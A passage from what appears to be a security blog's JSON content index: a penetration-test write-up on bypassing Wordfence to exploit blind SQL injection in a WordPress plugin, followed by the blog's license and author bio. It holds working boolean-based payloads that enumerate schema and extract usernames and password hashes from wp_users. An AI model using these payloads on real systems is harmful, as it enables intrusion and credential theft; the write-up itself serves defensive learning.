LENGTH(database()) \u0026gt; 50000\nTables 3 AND LENGTH((SELECT GROUP_CONCAT(table_name,'|',table_schema) FROM information_schema.tables)) \u0026gt; 3850\nColumns 3 AND LENGTH((SELECT GROUP_CONCAT(column_name,'|',table_name) FROM information_schema.columns)) \u0026gt; 50000\nData 3 AND LENGTH((SELECT GROUP_CONCAT(id,'|',user_login,'|',user_pass) from wordpress.wp_users)) \u0026gt; 142\n2. Database Name 3 AND ASCII(SUBSTRING(database(),1,1)) \u0026gt; 114\n3. Table Names 3 AND ASCII(SUBSTRING((SELECT GROUP_CONCAT(table_name,'|',table_schema) FROM information_schema.tables),2916,1)) \u0026gt; 113\nThe GROUP_CONCAT method was viable, but not optimal, as I couldn\u0026rsquo;t filter for the table names from the database I wanted. The result of this was the retrieval of all MariaDB table names, wasting a ton of requests on data I didn’t really care about.\nTo solve this issue I started investigating how to retrieve only the table names from the database wordpress. I noticed that the MariaDB table names always come first, so I calculated the length of the string of all MariaDB table names and started the SUBSTRING function after that. This method can fail in different versions of MariaDB or might not work in MySQL, but it worked perfectly in my client\u0026rsquo;s database.\nThe real length is 2910, so I started the substring in 2911.\nNOTE: this length count has to be done with the DB user of WordPress which has only permissions to see information_schema and performance_schema apart from the wordpress database.\n4. Column Names 3 AND ASCII(SUBSTRING((SELECT GROUP_CONCAT(column_name,'|',table_name) FROM information_schema.columns),22262,1)) \u0026gt; 106\nFor the column names I followed the same methodology, starting the SUBSTRING function after all MariaDB column names. The real lenght is 22258, so I started in 22259.\n5. Data Dump 3 AND ASCII(SUBSTRING((SELECT GROUP_CONCAT(id,'|',user_login,'|',user_pass) from wordpress.wp_users),10,1)) \u0026gt; 118\nPython Script After testing all working payloads I developed a Python script that could dump the database. The script has the following features:\nBinary search in all dumping scenarios Threads (with queues) for each substring position for a faster dump Usage of parameters to specify the dumping scenario (database, table names, column names, dump rows), URL and string that evaluates payload to TRUE Resume option Output to file option Proxy support Evaluates to true searching for a specific string The script is not perfect, it could be improved by:\nAdding POST requests support Reading Burp Requests specifying the vulnerable parameter with * Improving data representation Specifying payload via parameter instead of modifying code Supporting other evaluation strategies (string not present, status code, etc.) Dumping the vulnerable Docker Wordpress Database Tables Columns Data If no DB is specified it automatically retrieves it.\nThe full script code can be found in this Github Gist.\nResults After adapting the script for the payload and parameters of my client\u0026rsquo;s WordPress I was able to bypass Wordfence and dump the database. I only dumped the database name and the user_login and user_pass fields from the wp_users table to demonstrate this was a big security issue.\nAfter showing it to my client he immediately created a task to solve this issue ASAP.\nThis proved two important things: first, that relying only on Wordfence or any WAF is not enough to stop determined attackers; and second, that insecure custom plugins are often the real weak point even if WordPress and security plugins are fully updated. The key lesson is that every line of code handling user input must be validated and secured at the application level, because WAFs should be seen only as an additional layer, not a replacement for secure coding.\nConclusion Bypassing Wordfence in this case showed me that relying only on a WAF is never enough. Even with WordPress fully updated and Wordfence running, a custom insecure plugin opened the door to a full SQL injection exploit. The protection Wordfence provided was useful against common tools and noisy payloads, but a determined attacker with manual testing could still go through.\nThe real takeaway is that security has to be built into the code itself. Every custom plugin or feature that handles user input must be carefully validated and use prepared statements. WAFs should only be seen as an extra line of defense, not the main one.\nFor me, this research was another reminder that real security work is about understanding how protections actually behave in practice, not how they are marketed. It also reinforced the importance of reporting responsibly and testing in controlled environments.\n","permalink":"https://emc2hf.github.io/blog/2025/08/17/how-i-successfully-bypassed-wordfence-to-exploit-sqli-in-a-clients-wordpress/","summary":"\u003cp\u003eThis is the journey of how I successfully bypassed Wordfence WAF to exploit a SQL Injection in an updated WordPress and Wordfence. The vulnerability was present in a custom plugin developed for my client by a 3rd party. In this post I will explain how I discovered the vulnerability and how I exploited it, successfully bypassing Wordfence SQLi security measures. All the code used in this post can be found at the end of the post. For obvious reasons I will not share the client\u0026rsquo;s website or vulnerable code, instead I developed a simple lab with \u003ccode\u003eDocker\u003c/code\u003e.\u003c/p\u003e","title":"How I Successfully Bypassed Wordfence to Exploit SQLi in a Client's WordPress"},{"content":"Content license All non-code blog content is licensed under Creative Commons BY-NC-SA.\nCode license All source code files and snippets found on this blog, unless otherwise explicitly noted, are licensed under the terms below.\nCopyright 2018 Leon Jacobs Licensed under the Apache License, Version 2.0 (the \u0026#34;License\u0026#34;); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ","permalink":"https://emc2hf.github.io/license/","summary":"\u003ch3 id=\"content-license\"\u003eContent license\u003c/h3\u003e\n\u003cp\u003eAll non-code blog content is licensed under \u003ca href=\"http://creativecommons.org/licenses/by-nc-sa/3.0/\"\u003eCreative Commons BY-NC-SA\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"code-license\"\u003eCode license\u003c/h3\u003e\n\u003cp\u003eAll source code files and snippets found on this blog, unless otherwise explicitly noted, are licensed under the terms below.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCopyright 2018 Leon Jacobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLicensed under the Apache License, Version 2.0 (the \u0026#34;License\u0026#34;);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eyou may not use this file except in compliance with the License.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eYou may obtain a copy of the License at\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   http://www.apache.org/licenses/LICENSE-2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnless required by applicable law or agreed to in writing, software\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edistributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSee the License for the specific language governing permissions and\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elimitations under the License.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"license"},{"content":" Hi, I’m Pol Sarís, a 25-year-old cybersecurity enthusiast from Girona, Spain. I graduated in Computer Engineering and worked as a DevOps engineer for 2 years, where I gained strong experience in Linux systems, automation, and cloud technologies.\nFor the past 4 years, I’ve been dedicated to learning and practicing red teaming through CTFs, labs, and courses. I have recently started doing Bug Bounty Hunting. I recently obtained the HackTheBox CPTS certification and I’m currently preparing for OSCP.\nI’m actively seeking opportunities as a junior penetration tester and I’m always open to connecting with like-minded professionals.\nBadges HTB CPTS Computer Engeneer UdG Social Github Medium You can contact me via email to emc2hfpublic@gmail.com Twitter \u0026lt;= (Not very active) How did I get into Red Team? My story is the opposite of most hackers, who started hacking at a very young age, first with video games or their parents’ computer, and then evolving into real hacking. I have been involved with computers since I was 5, but never for hacking, only to play video games. I have always been the tech guy in my house, but I had never done anything related to cybersecurity. I enrolled in Computer Engineering simply because I liked computers, nothing more.\nI discovered hacking at the end of my 3rd year of Computer Engineering, with 1 year left before graduation. I had always been good at studying, with little effort, I usually passed with good grades in math and science. I didn’t care much before, but as you grow up and realize your studies are coming to an end and your career choices will shape the rest of your life, it was time to make a decision. I enjoyed Computer Engineering, I found it fascinating and I was enjoying the learning process, but I didn’t see myself as a programmer or a system administrator or any of the other typicall jobs everybody chooses.\nThen one day, I saw in the news the arrest of a Spanish hacker, and I became curious. (I had always wondered how hacking really worked, but I had never looked into it.) I started researching and discovered that you could work as an ethical hacker, simulating real-world attacks to find security flaws and help companies improve their security. I began watching hacking videos, programming very simple malware I found on YouTube and testing it myself, getting into easy CTFs, and I loved it. Since that moment, I knew this was what I wanted to do for a living. I have been learning ethical hacking through self-study since 2021, combining it with work and university, and practicing every day I can.\n","permalink":"https://emc2hf.github.io/about/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/profile.png\" width=\"100px\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eHi, I’m Pol Sarís, a 25-year-old cybersecurity enthusiast from Girona, Spain. I graduated in Computer Engineering and worked as a DevOps engineer for 2 years, where I gained strong experience in Linux systems, automation, and cloud technologies.\u003c/p\u003e\n\u003cp\u003eFor the past 4 years, I’ve been dedicated to learning and practicing red teaming through CTFs, labs, and courses. I have recently started doing Bug Bounty Hunting. I recently obtained the HackTheBox CPTS certification and I’m currently preparing for OSCP.\u003c/p\u003e","title":"About Me"}]